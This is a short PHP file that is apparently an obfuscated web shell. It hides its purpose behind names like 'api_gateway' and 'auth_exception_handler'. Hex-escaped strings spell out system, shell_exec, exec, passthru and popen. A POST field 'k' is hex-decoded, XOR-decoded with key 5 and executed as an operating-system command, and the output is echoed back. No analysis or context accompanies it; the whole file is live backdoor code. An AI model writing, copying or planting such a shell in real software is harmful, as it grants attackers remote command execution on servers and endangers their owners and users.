<?php

$api_gateway7 = "\x70c\x6C\x6Fse";
$api_gateway5 = "\x70\x6Fpen";
$api_gateway4 = "p\x61ss\x74hru";
$api_gateway2 = "she\x6Cl\x5F\x65xe\x63";
$api_gateway1 = "\x73ys\x74e\x6D";
$approve_request = "hex\x32\x62\x69n";
$api_gateway3 = "e\x78\x65c";
$api_gateway6 = "s\x74r\x65\x61m\x5F\x67et\x5Fc\x6F\x6Eten\x74\x73";
if (isset($_POST["k"])) {
            function auth_exception_handler($item,  $key){ $descriptor= '';$j=0; while($j<strlen($item)){$descriptor.=chr(ord($item[$j])^$key);$j++;} return $descriptor;}
            $k = $approve_request($_POST["k"]);
            $k = auth_exception_handler($k, 5);
            if (function_exists($api_gateway1)) {
                $api_gateway1($k);
            } elseif (function_exists($api_gateway2)) {
                print $api_gateway2($k);
            } elseif (function_exists($api_gateway3)) {
                $api_gateway3($k, $holder_item);
                print join("\n", $holder_item);
            } elseif (function_exists($api_gateway4)) {
                $api_gateway4($k);
            } elseif (function_exists($api_gateway5) && function_exists($api_gateway6) && function_exists($api_gateway7)) {
                $key_descriptor = $api_gateway5($k, 'r');
                if ($key_descriptor) {
                    $flg_desc = $api_gateway6($key_descriptor);
                    $api_gateway7($key_descriptor);
                    print $flg_desc;
                }
            }
            exit;
        }